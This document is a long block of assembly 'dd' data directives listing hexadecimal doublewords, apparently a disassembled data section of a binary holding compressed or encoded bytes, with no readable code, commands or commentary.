		dd 0D9A4AF06h, 0FE730D13h, 0C7958600h, 0AD775304h, 5F8B00AEh
		dd 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh, 0C715C663h, 0B86F110Dh
		dd 0E4101201h, 0BCFA0282h, 7E609D2Ah, 0DA0333EAh, 7468C075h
		dd 0C03FB331h, 35817A9h, 3E7995CEh, 1CE07567h, 0F35EE26Fh
		dd 0DC00F5A8h, 5114F669h, 4800B7DFh, 268DD83Bh,	7A011A1h
		dd 0AF07BA12h, 0D4F17174h, 7D85E454h, 5C38591Eh, 0CAF23F00h
		dd 1E74032Dh, 8562CCD6h, 0C09118AAh, 645A0A94h,	3EC510Bh
		dd 454500B5h, 1E05BAD4h, 5077D2Eh, 0FEAA81C4h, 0C0FD2FC2h
		dd 0E3AE87h, 0CAB541Ch,	6238FE95h, 0A032D32Eh, 0FF22B400h
		dd 0EE7384h, 0B0109C72h, 4BE7E968h, 8D2B60FBh, 91DD9500h
		dd 8C2E63E1h, 931313F0h, 420F003Fh, 0A6B1EB70h,	0E7772200h
		dd 0C75F4086h, 2C835C90h, 0C049F21Fh, 6A138C23h, 0B500F4EBh
		dd 7385DB51h, 16BA0221h, 0CAB4F2h, 53222A75h, 0D800720Dh
		dd 52C38A1Ah, 72865E01h, 0A76900E9h, 80D7B021h,	334CCD38h
		dd 401100B1h, 742E120Ah, 94D80066h, 0E0F42201h,	1700FFFAh
		dd 0C01D7525h, 0F467FE50h, 837713h, 0B2C9BF02h,	0B152535Ah
		dd 8AB32100h, 80C1B75h,	64560797h, 0E0D3220Fh, 9E060DC9h
		dd 5CE22B00h, 982D14E5h, 743300E9h, 4F9F6828h, 5EF6FB42h
		dd 0AA195507h, 3FAF18CBh, 463264C1h, 29EC4B35h,	0F17B00ECh
		dd 8BA1A490h, 82039F1Ah, 2717677Dh, 7F319177h, 2E7142F8h
		dd 0A07BEh, 66A01D8Bh, 79003064h, 0F6035FF8h, 7AA1C6B8h
		dd 5C97009Ch, 0D82E53A3h, 4D0B5BD0h, 0A94210h, 4A445A6Ch
		dd 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h, 0E01A57FCh
		dd 293865h, 0D8DB3BA7h,	345D36E3h, 6C12A5EEh, 0BBF49Bh
		dd 6A0FE00Eh, 0EBEC9D01h, 1A0A9900h, 0ABC48688h, 6753A29h
		dd 0A1BD9000h, 0CAA73D68h, 0A8155D01h, 0B2BBFB92h, 0EAD7C0h
		dd 994AD02Dh, 0A436A010h, 763E8800h, 7D540AFDh,	385F00BAh
		dd 0B805D5E7h, 0EFA058CCh, 1CE2158Ch, 2CDF8900h, 0B50ED494h
		dd 0B0930383h, 0F0B86D5Ah, 2B89EFB0h, 59F46A00h, 0E20E53F8h
		dd 0EC480022h, 63C5035h, 0CE0FA63Dh, 0A0A11328h, 0A03EBC96h
		dd 0FCA4001Ch, 60C40647h, 0F24C3468h, 7890326h,	0C0BBFD85h
		dd 0BC5C58h, 0C275F803h, 0D35BC068h, 0DF29BF00h, 669CDC88h
		dd 7CCF842h, 6C4617B6h,	0A034B021h, 64394C9Eh, 0EC62003Ch
		dd 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh, 48EE0Dh, 0EF38DB79h
		dd 0E552EE19h, 8F02333Dh, 0E1644414h, 4CE36837h, 13AEDCCh
		dd 54203D61h, 0F8430C7Fh, 8FA34B1h, 0C422B900h,	0B32BAB2Dh
		dd 0BB580012h, 0D6154E25h, 1D7F943Bh, 49792AC0h, 72656B3Ah
		dd 5E3C2466h, 36B401F3h, 302CD94Eh, 19074246h, 82EB9A90h
		dd 2A230360h, 584507B6h, 0B301B7AAh, 1EE83724h,	62126A99h
		dd 0B90136A7h, 4B03A045h, 4E52D0h, 7CF04C9Ah, 9ED4475h
		dd 0A954F513h, 419ED900h, 1CCA56DCh, 0C01C4950h, 745F6547h
		dd 0FCF161EDh, 7A037B64h, 20C37371h, 0BF69D852h, 78450091h
		dd 66DDF663h, 4CFCA0D3h, 73007CFCh, 4518F99Dh, 0F0106D53h
		dd 31880024h, 0C9028B62h, 3B00082Dh, 0DDD6F8E1h, 0AD8D79h
		dd 28FCD489h, 9C3A7D72h, 572EEA00h, 86CA3E62h, 0C9113EF4h
		dd 0EFE20683h, 26B05C78h, 5812753Dh, 9E008415h,	0C74A8B28h
		dd 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h, 2071740Ah
		dd 7D7E02h, 0F9EEE7E0h,	453DB664h, 0C42A0800h, 0CBC70D14h
		dd 439E00D6h, 3F816605h, 0FD0025FFh, 26E83DD2h,	1C6CEFh
		dd 1E389507h, 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh, 0EE3AE1B5h
		dd 91670053h, 0C64E3E10h, 3F034F55h, 4B7AD2B1h,	0D875CBC9h
		dd 0C3FA50h, 6F0032Ah, 26F3F85Bh, 80CE103Bh, 52E22C92h
		dd 0A46DA7h, 0B3446BEFh, 0C308BB43h, 0CA535026h, 0F53B1700h
		dd 0E68B828h, 0D2395411h, 89782B40h, 6A000AC8h,	0A7B052B2h
		dd 7CA10974h, 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh, 9007D0Eh
		dd 5478D68h, 0FE63ECE2h, 0D52C0378h, 0A06171Dh,	0C20146F0h
		dd 6900E8ECh, 1505ED39h
		dd 0FE388934h, 65C31FBDh, 6581E542h, 0E0A00E6Eh, 2B00DE8Bh
		dd 81E41C5Dh, 714FBh, 646885BDh, 162F8629h, 8AEAAC00h
		dd 0E455121Ch, 4A4800F7h, 278358E0h, 2B3B04EBh,	5F9E9F68h
		dd 7D19F3C0h, 0F05497h,	0B4517F52h, 38783644h, 324638h
		dd 33D08B56h, 0FEBF6h, 80068A7Dh, 5742FF9h, 5C5F0A00h
		dd 42F29007h, 0F3A00D7h, 0ABD0EC09h, 0A6000354h, 0FCC34A5Eh
		dd 7C75F7F0h, 17E51753h, 42470030h, 0B8A0D73Ah,	0DF822900h
		dd 0FCE488D1h, 7E3700BEh, 95EB1C7Bh, 177892F7h,	0DA19A10Fh
		dd 3CA900EDh, 0FD3E8Bh,	9A708845h, 0C94F943Ah, 1241520Eh
		dd 0F4538024h, 284ADCh,	6389E2C1h, 3C7B8E5Dh, 3B7CE800h
		dd 5C033A78h, 1D1C003Fh, 40F61304h, 5F0B148Fh, 34A5A5Bh
		dd 0F16886E4h, 6520C13Bh, 0F0A61C8Ch, 209FBD8Eh, 0D9B5001Ch
		dd 301BAD96h, 0BE95D500h, 4A4D8EBFh, 687F3F73h,	0C49D5100h
		dd 45EB3E70h, 34A97D0Eh, 35C07EE4h, 2147D3BDh, 506F00E0h
		dd 2F58107Ah, 93F8B702h, 0FEE96E05h, 0CB010FFFh, 0C231A26Ah
		dd 0C0428820h, 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh, 0F8DC00BBh
		dd 0BF94B054h, 5B0263D0h, 78DFE964h, 322861ACh,	1331803Bh
		dd 0EFFC6C75h, 625C2300h, 0FDFB447Ah, 0BEE70361h, 0BB4EDF1Eh
		dd 792C63F8h, 0F86D5E1Dh, 202ED980h, 0F72A6Bh, 4C7D62AEh
		dd 7986E34Fh, 6DDCE03h,	0D8ACF63Ch, 641A53h, 0B38D702Eh
		dd 14B67582h, 52509F07h, 0FBC15DCFh, 0B9EC4E78h, 0F88400F0h
		dd 6BB453FEh, 74039714h, 0FABD0DA7h, 48C2F81Fh,	0E8830002h
		dd 30B83AA2h, 202C264Bh, 0B501D512h, 762C4306h,	0F00A89D0h
		dd 0EF6D099Bh, 0D88029FEh, 66C78B3Fh, 547E9AFCh, 0A9165Ch
		dd 55FC4492h, 51930Fh, 0CF10B22h, 16F8678Bh, 0CFBE7503h
		dd 0B0381ACEh, 0C0103Ah, 0FE124B1Ch, 74C9DD6h, 7D00ADB0h
		dd 0CB51ACFCh, 972F10h,	4F022944h, 7E12A90Ch, 8F0B870Fh
		dd 31F9802Dh, 1CE3543h,	9422274h, 0D9192436h, 0E910D137h
		dd 1C85E83Ah, 83B8B73Eh, 8CEC7DC2h, 33C0EFA5h, 0EF57519h
		dd 4D88982Bh, 8669680h,	553D4126h, 0EB3B9C4Bh, 39F98443h
		dd 8AEA0715h, 70F8AB27h, 4B8296ACh, 4A337C00h, 0F2F5EB8h
		dd 51760084h, 38F1DFABh, 413FAF98h, 2CB9C7h, 951DAC9Ch
		dd 0E106097h, 5EFF483Bh, 8D1C3040h, 0DF7A0853h,	0C1E1500h
		dd 0ABF656Eh, 4A4B00EBh, 42203911h, 0E526695Bh,	0C80001C9h
		dd 0F32D91Bh, 79E005Ch,	830E731Eh, 8D3E0401h, 0B490F485h
		dd 8074F83Fh, 0DC8265BEh, 0EDB71069h, 774BC0h, 155C81Eh
		dd 0CBD52EC9h, 0A2F91600h, 64146E09h, 7507846h,	70965534h
		dd 0C6B75160h, 3ED7F092h, 0FCFC73Fh, 61E9E0E5h,	6C79FE9Fh
		dd 1FC5E2C4h, 0C0146A43h, 0E958C08Fh, 1CB82EF1h, 5C087D00h
		dd 3F840ADh, 0B93500B4h, 0EF8B0689h, 0A5EE795Dh, 4B437000h
		dd 460307C0h, 0C3E0048h, 0F02B0A33h, 0E800244Ch, 592556AFh
		dd 12EB007h, 0C8471F8Ah, 0E44E4034h, 49004423h,	16051F2h
		dd 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h
		dd 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h,	0BF366425h
		dd 1A296A80h, 185FE17h,	72F107A6h, 0D08E924Dh, 0EB007534h
		dd 0D04AD58Bh, 20BA61h,	0E36E9E65h, 408D85E1h, 80CFAA00h
		dd 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh,	0C8D6ADB2h
		dd 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h,	0BFFE0156h
		dd 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h,	0C3F43CE9h
		dd 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h, 9BE842BBh
		dd 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh,	0D9008275h
		dd 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h
		dd 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h,	9FAB7200h
		dd 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h
		dd 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h
		dd 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh
		dd 0C7555Ah, 8870540Eh,	3C9EDF8Fh, 0FF72E300h, 5DADC815h
		dd 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h
		dd 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h
		dd 7222DCh, 0AF202414h,	0E8DBF93Bh, 468CF50Ah, 0DF05FE52h
		dd 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh,	22261993h
		dd 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h,	111F32E3h
		dd 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh,	4E00A471h
		dd 832019DFh, 79935145h, 0C0394B13h, 9216B691h,	60230400h
		dd 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h,	5FEB2CF9h
		dd 117865h, 0BFE65AF1h,	0BB245818h, 7C8270BFh, 827C1CE8h
		dd 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh
		dd 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h
		dd 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh
		dd 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h,	5F2400D5h
		dd 39076010h, 50008402h, 56404D11h, 1E0A4218h, 8069EB68h
		dd 1032C765h, 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h
		dd 57C1564h, 51E4B816h,	0FC30D205h, 90B0897Fh, 0ABE80041h
		dd 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h
		dd 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh
		dd 1FF200Fh, 558DB13Dh,	80A54724h, 13FA8347h, 0BF089916h
		dd 438CA500h, 110C648h,	0AD4A3063h, 0E8A8C40Eh,	0B2002A69h
		dd 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h
		dd 6C013Eh, 29BCC951h, 78910868h, 3C960014h, 850D2833h
		dd 253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h
		dd 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h
		dd 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h
		dd 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h
		dd 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h
		dd 217E3B6Ch, 6580898h,	0E0001486h, 0A9298E0Bh,	3F407DDCh
		dd 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h
		dd 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h,	0BBB32927h
		dd 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h
		dd 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh,	8DFCA54Bh
		dd 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h
		dd 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h,	5DC62CBCh
		dd 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh,	3B974014h
		dd 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h
		dd 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h
		dd 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch,	85EA1465h
		dd 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h
		dd 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h,	40E59D03h
		dd 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h,	770740DEh
		dd 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h
		dd 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h,	14046B22h
		dd 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h
		dd 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh
		dd 0D57756A2h, 0A328E853h
		dd 0EA43D00h, 0B0744301h, 0E3BF0092h, 90AD9344h, 840080F3h
		dd 1B6E7821h, 72997E4h,	0D69C0979h, 421C8028h, 27038C3h
		dd 9678732Eh, 6B1EDD00h, 201018h, 0EB7C74A7h, 0BE433D23h
		dd 577622E8h, 84932700h, 0C697515Bh, 4C7200EFh,	0D2077844h
		dd 0F800B303h, 384E31C4h, 0E9088D9Ch, 0EE4B54D8h, 0CA201FF3h
		dd 0A0594169h, 4070211Ah, 326A9B05h, 6CA2E407h,	0ACB0A943h
		dd 84258Ah, 5419A457h, 4D68809h, 0BA442039h, 7826DC5Ah
		dd 85CCC00h, 97948C9Ch,	80960041h, 14819844h, 38000988h
		dd 1C08119Ah, 467FE8h, 109BB802h, 29A27436h, 8F32093Eh
		dd 0C7A6219Ah, 0F830C458h, 0E9006C3h, 0C605111h, 87B009A0h
		dd 460410Eh, 7171860h, 0A13600E8h, 8C1B0C02h, 1A00DC10h
		dd 21CCB408h, 0EAD40984h, 3A47519h, 201F4050h, 0D8F38088h
		dd 23D0F0DFh, 1100A081h, 4022E34h, 0E82F7C22h, 5446004Ch
		dd 9C49932h, 800516Ch, 22A4913Ch, 5C2074h, 942C4457h, 0F8116489h
		dd 0BC026600h, 6239DC26h, 100900ACh, 52E00353h,	5A0E7933h
		dd 0AF495931h, 90C0204h, 0F460C124h, 7B38A320h,	0A8086164h
		dd 0D4204137h, 0B10ECCC6h, 66B8CB40h, 0E8C88D2h, 980870C8h
		dd 11DC84E0h, 0CC1D1B48h, 873FD9E0h, 1059E744h,	21F96050h
		dd 2A18001Ch, 0CC29ECA8h, 11315408h, 2B744824h,	0BE2330h
		dd 75D17632h, 14EC6405h, 4AC7ACB8h, 2670023Fh, 7A6359ACh
		dd 0A828007Ch, 0A7C43818h, 5B00F008h, 0F411C081h, 0A021B15Eh
		dd 3026295h, 4C70253Ch,	0A8D1409Ch, 50437089h, 2007657Eh
		dd 58488824h, 51766CF1h, 74A46C80h, 0AC12DC89h,	6DFC2212h
		dd 20462C00h, 0C64B972h, 58755171h, 810AA3B8h, 0D5891744h
		dd 0B8261D00h, 1E117CC6h, 9E43554Ah, 0DA440B4h,	4707E817h
		dd 0E170280Eh, 6AC24225h, 0A787F7D0h, 0DD010ACCh, 1C32007Ch
		dd 0EC08B13h, 1558408Dh, 0C6010013h, 31181F84h,	821000Ch
		dd 32032480h, 52E048E6h, 746E7500h, 20656D69h, 0E27200E4h
		dd 83DAE76Fh, 0EAFC6101h, 863B3000h, 18455140h,	80112DBFh
		dd 80191B57h, 0B5413938h, 57805E5Ch, 0DEC0120h,	0A00A1D55h
		dd 58C5C14Eh, 319C0C56h, 0F8AE31B8h, 1007D430h,	1FC1F927h
		dd 0F3911C23h, 0E20AD81Eh, 1897001Dh, 7CF001ABh, 6C00A466h
		dd 105AE433h, 0B70907ECh, 3896DEh, 6C05265Ch, 4C185B66h
		dd 7C006F74h, 128C8984h, 9C092494h, 8791A448h, 0BCF3B475h
		dd 0FBCCFBC4h, 0FBDCFBD4h, 0FBECFBE4h, 4FCF8F4h, 0C5C0140h
		dd 1C121489h, 2C48C424h, 22349107h, 4C17443Ch, 0F81754F1h
		dd 6CED64EDh, 0F67C6F70h, 8C120584h, 824A9424h,	0BC80E5BDh
		dd 5390408h, 8E641C00h,	6A236547h, 5FA83E89h, 48605403h
		dd 0C0F75808h, 6411610Ch, 0E2BCC803h, 0B0316214h, 46801Ch
		dd 88E02363h, 38C46494h, 1FEC7200h, 306548E2h, 8C5E00F0h
		dd 11660423h, 100D560h,	37842A93h, 0E500D14h, 4B4A4847h
		dd 4E4D4C02h, 534705FFh, 585737C0h, 0A056005Ah,	454104ECh
		dd 4F1C6A49h, 6301B811h, 68676664h, 6C6B80EBh, 0AF6E5A6Dh
		dd 74052F00h, 17A7877h,	61200176h, 606F6965h, 9160B998h
		dd 0C4A010DCh, 0A7AC0022h, 0C6E80901h, 740E84AAh, 0E0315132h
		dd 71B09840h, 9EB0FFh, 0C8101101h, 30912009h, 44312200h
		dd 2F388C34h, 69070041h, 33E8C79Ah, 0B001E90Fh,	19F3F0F2h
		dd 4520A490h, 1D2B90B8h, 0C0F822D4h, 3C45581Ch,	741724DEh
		dd 30408C48h, 0ECD444BCh, 59040288h, 34121881h,	6420FA8Eh
		dd 94227C91h, 0FFA84407h, 0C9001F7Eh, 0C1BD8Dh,	9B382F3Fh
		dd 6B707AFEh, 4B3E1D00h, 0AF51C049h, 391A1CB6h,	931500F4h
		dd 1B926CB0h, 5B78B424h, 95553B00h, 708436F7h, 86B8E4h
		dd 0CE0D4AD2h, 0F501DD09h, 0E3CD5300h, 601DB413h, 0F820006Ch
		dd 0A4225027h, 24009B03h, 41659885h, 0F95018Fh,	728409E8h
		dd 70589907h, 4070084Ch, 8900737Fh, 0C5FF1C88h,	7CA3F003h
		dd 75C80021h, 0A43110BEh, 0A67EE408h, 1933D001h, 70EC09E0h
		dd 0BA740D4h, 0F849CCC8h, 90D7A287h, 0AD0A802Ch, 4A96C06h
		dd 3E60A5FEh, 248EA838h, 68E35409h, 84B87412h, 0B5A89048h
		dd 0C80345B8h, 964C033h, 0EB32EB21h, 4442E83Ch,	0B35A0350h
		dd 0D2C08A24h, 3E08B590h, 152981Eh, 3020779h, 6020504h
		dd 0A266007h, 0D0C0E0Bh, 10400E0Fh, 7894389Ch, 0A403BEBAh
		dd 0C401811h, 0C40B99B4h, 7BD02620h, 310D248Dh,	105C030Eh
		dd 0E09B0E34h, 2001C0ACh, 90E61294h, 0A8021376h, 1A6C3616h
		dd 9C2D6019h, 1F401C80h, 7022C184h, 0F77811CCh,	0A024B1D7h
		dd 0C826E488h, 7A279924h, 20192801h, 6E8954D9h,	3B003160h
		dd 10012E34h, 3C033F1Eh, 0E0EC118Fh, 0B0023308h, 34483E22h
		dd 2F6892h, 2C36317Dh, 9009937h, 0C1399032h, 1EC4023Bh
		dd 0C0B4063Dh, 5C874C3Eh, 400C8CCh, 0B15A448Bh,	37714B0h
		dd 639C1864h, 0E9B03038h, 311FDC73h, 700019D4h,	785DD9BEh
		dd 0F284E89Eh, 20AE0004h, 79CC6398h, 0C4CA2E4h,	4411003Fh
		dd 399C5676h, 995C3A66h, 6C5D798Fh, 0D1F5DDC2h,	0A1E05760h
		dd 3652400h, 0C4793310h, 4807519h, 0DC592CB1h, 12218022h
		dd 422486E0h, 0D200B088h, 5C809219h, 9300053h, 3C247214h
		dd 89161260h, 6003992Ch, 0A8A5D481h, 0E2195C2Eh, 442000Ch
		dd 9948515Ah, 0D07411BCh, 0F9C4B93Ah, 26D9A500h, 65193440h
		dd 5809007Ch, 0D4889C12h, 0A000941Ch, 604A90EAh, 366AC2Ah
		dd 41500998h, 8DC057F7h, 0D9F82808h, 49145900h,	9FB4298Ch
		dd 3C313E33h, 2060A987h, 4C7470C9h, 441F6FF4h, 54C1D939h
		dd 91282999h, 0F0C2C07Bh, 250CA49Eh, 129CC419h,	32BF00E0h
		dd 0A514387Bh, 1B584CACh, 69C6015Ah, 885BC33h, 1134F8h
		dd 0D8A4F904h, 1C94A9DCh, 4C619901h, 49883C09h,	0C9083F2h
		dd 4BFBE8D9h, 20460079h, 66107A30h, 2C3A51E4h, 3FB4C841h
		dd 6875F45Ch, 58037FB0h, 94D31287h, 549A0E60h, 5CE090B0h
		dd 0B466B896h, 6C61A973h, 0CC5211ECh, 3106730h,	94B059F2h
		dd 70C00C84h, 2390B199h, 995AC00h, 74329CDCh, 258C0261h
		dd 20D84C2Ch, 90A4B740h, 0C6FC9600h, 786A59C0h,	0D7011E41h
		dd 1B7257Ch, 5BEAC55h, 91934C87h, 70539190h, 1800869Eh
		dd 0AC562096h, 0FA5EC814h, 9EF205C0h, 807CD024h, 8FEC978Dh
		dd 110088F8h, 0EE1920Ch, 2C0298h, 9A4E203Eh, 9CC8B047h
		dd 0DAF13CC0h, 2C08019Bh, 3F961E93h, 1EC41093h,	0FA1887ADh
		dd 995AF0B1h, 93E7031h,	24A08088h, 91D448B8h, 0F22202E2h
		dd 400CFE44h, 32896A60h, 2425127Fh, 9FA07554h, 0A290447Eh
		dd 0C8FEB4FEh, 0F0FEDEFEh, 9520B81Fh, 3BCF74BDh, 0C04CCF3Eh
		dd 22749158h, 8196FE86h, 0BFC0FDAEh, 0BFDEBFEAh, 2BFC89EEh
		dd 1973870Ah, 0C03611D2h, 302944CAh, 807D1452h,	5B89053h
		dd 0C20CAC7Dh, 28E489D4h, 41400F4h, 268C1C97h, 27B83411h
		dd 4C00427Eh, 64445822h, 0C020A672h, 0B889A884h, 2430CC12h
		dd 9823BFE0h, 111C1819h, 223A522Ch, 5E444A05h, 3BC0897Ah
		dd 0FB424A4h, 0D491C448h, 0F0E0E2EFh, 991688FEh, 1226810Ch
		dd 5CF53Ah, 82226E91h, 89AA9844h, 0CA54BA7Fh, 0FEFEF297h
		dd 9A0C100Ch, 0B329422h, 0AC468A40h, 96C5A80h, 107DA686h
		dd 89BAA805h, 0D19013CAh, 259BE0F0h, 7F800E81h,	914E483Ah
		dd 6E03607Fh
		dd 898C8044h, 0F8AEFB9Ch, 70154C8h, 0BF08E429h,	1E11C023h
		dd 0AEA22C32h, 4F64EDA4h, 3E7E2C74h, 0A612009Ah, 3430B025h
		dd 7200656Bh, 6C076E73h, 2E3233h, 10D45E64h, 7487473Eh
		dd 0C9789Dh, 0E66ECE1Eh, 1C0C6854h, 49646117h, 446DD300h
		dd 0F83046h, 69757243h,	617B63E4h, 0EB537E00h, 6E6F108Ch
		dd 0CA4C2E31h, 56170067h, 7EDA45E0h, 1895B000h,	27B6499Dh
		dd 7AFC0124h, 566735A5h, 75EC43F7h, 0EC46FE00h,	41A20E34h
		dd 6F960382h, 0D5E8C663h, 19DA1CD0h, 0A6001AF4h, 0CA51742Ah
		dd 1079E4h, 64695706h, 61683EBCh, 0D0548325h, 1D6C00F1h
		dd 287942B8h, 0C03AE34h, 98212ED5h, 7773F02Dh, 0DAA00074h
		dd 4CE1416Eh, 3E00630Ch, 87FD7970h, 17AD23Dh, 18740648h
		dd 0CB726269h, 612445F1h, 32E9CCB4h, 899B1D00h,	531223EDh
		dd 88BA0097h, 0AE27094h, 417C6F66h, 72504300h, 64713E7Bh
		dd 735200CEh, 4DC73634h, 8700FA6Fh, 61488E3Fh, 0CF96Eh
		dd 18144F41h, 4E086946h, 6D0057F8h, 565A5216h, 0F412544Dh
		dd 459403A0h, 0E4A6DC72h, 6DD35390h, 0A3938E00h, 3552A59Ah
		dd 751B3F25h, 2C0E1900h, 0ED08BE64h, 4D18B0E8h,	419C426Ah
		dd 0FA730032h, 0D33EC72Ah, 9900569Dh, 0A98A5724h, 0F19B080h
		dd 0A6686E55h, 46B2E7C0h, 440E703Ch, 0C033DA99h, 145374A4h
		dd 501A0926h, 0B800946Fh, 4F5C4562h, 3D9A6600h,	8CFFE0C3h
		dd 0D4770082h, 1F490CD3h, 7B041857h, 52F0ABF3h,	0A23066C0h
		dd 90C6B864h, 2DA100A0h, 227AD153h, 79288A4Eh, 6D0096BCh
		dd 0E97E6954h, 0F8C44F1Eh, 43220070h, 38527A4Bh, 0D47194D9h
		dd 75CC4900h, 0CA9B7214h, 324B0367h, 0BE406279h, 3AA664D0h
		dd 3501917Dh, 6EEF05EEh, 4DE80A67h, 619E00FFh, 6F428ABAh
		dd 0A6024878h, 7D4E9F11h, 0C80943B6h, 3F29767Bh, 4AA46970h
		dd 326700F2h, 9143565Ch, 20E4D00h, 9A4F29D9h, 0C06E39A6h
		dd 21D41300h, 8723DB89h, 58A7A00h, 29747561h, 70B50740h
		dd 80A00DE4h, 0C4F0A9C3h, 2C0E66F4h, 0A0986F16h, 64534977h
		dd 7F9A0028h, 3905E4Ch,	0B009ADACh, 844DE965h, 0BBC7E5B0h
		dd 458C02Eh, 0A525D4h, 548FCC8Ah, 542849Ah, 9100B8E8h
		dd 591B470Eh, 15DA4Eh, 677A66C5h, 2A1749AAh, 9FE1B400h
		dd 24125628h, 0DE4C3F41h, 0ED641400h, 60934092h, 0E2CF5300h
		dd 70476D75h, 54F6006Ah, 0EF5210B9h, 536EC558h,	4C11A07Ah
		dd 3D0A599Ch, 3B9D3351h, 90084150h, 0C463CADEh,	772636B7h
		dd 0A500C571h, 0C105C91Ch, 0F9D0075h, 0C4D42873h, 42EC49C3h
		dd 889022EEh, 0B4745900h, 0AC62E499h, 322100F2h, 10946BF3h
		dd 0EA7404B1h, 1E184CECh, 0A956F5F6h, 134900B5h, 6D0ECCC7h
		dd 330114F2h, 5622D687h, 0E0403141h, 149738Bh, 0A85D261Dh
		dd 0E4DC3DA5h, 8D01E5BCh, 0CE4E456Eh, 12D4EDBAh, 8ACB0095h
		dd 8B4428EAh, 91E7658h,	0FCA4D5h, 0CC6B1E84h, 73F70DAh
		dd 41256361h, 0F22EC097h, 5D005051h, 93C077A2h,	0F4431923h
		dd 219B0FE7h, 4480587Ah, 696F76FCh, 24DF3E00h, 5288369Eh
		dd 7E6C755Dh, 339300ECh, 29E93F26h, 0A2309C41h,	9DF4085Ch
		dd 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah, 53092084h, 8002574Ah
		dd 0E65477DCh, 12A7075Bh, 0FF825014h, 6C440580h, 0D5004967h
		dd 252366EDh, 38699FA0h, 9480B970h, 0A276B444h,	0D1FC426h
		dd 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h, 1E324693h, 8FA6C241h
		dd 6200CAE4h, 0D3EEA4EBh, 2658664h, 57E08A63h, 0FD80D484h
		dd 70412032h, 2990A605h, 41C0BAACh, 9C9BA8h, 672A3EC8h
		dd 1BB9D40Ch, 26240AB8h, 2B033D6Dh, 0A3144EADh,	0EA5DA895h
		dd 77F7958h, 3250F10Dh,	88222031h, 0B41D2CD4h, 0F3E63CA1h
		dd 60BC1207h, 6D804795h, 3A644Fh, 0F3EC4CA8h, 3795CD77h
		dd 2A1D7600h, 1268C6DEh, 4878D8h, 412C5357h, 6C42AA43h
		dd 7A00C4E4h, 2D9A2592h, 1849F9h, 1459A361h, 5C6521BAh
		dd 8E1D680Bh, 0D025000Ah, 7D6FAB26h, 981A0C7Dh,	868B1A5h
		dd 1FD6B701h, 2552EB7Eh, 858630h, 18547078h, 0DE6E95C4h
		dd 7568CE03h, 0C00948F2h, 1557B8h, 203D3251h, 0D501299Ch
		dd 1A55B70h, 7000F4D7h,	6E48E010h, 70801h, 2C270C30h, 3C673847h
		dd 0A7408700h, 0E748C744h, 0E850E44Ch, 0F062EC54h, 0F872F46Ah
		dd 0FC82FC7Ah, 0FC92FC8Ah, 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh
		dd 0FCD2FCCAh, 0FCE2FCDAh, 0FCF2FCEAh, 2E100FAh, 12C90A31h
		dd 0D93D1AD1h, 0E92A0022h, 0F93AF132h, 0E84AE442h, 0F05AEC52h
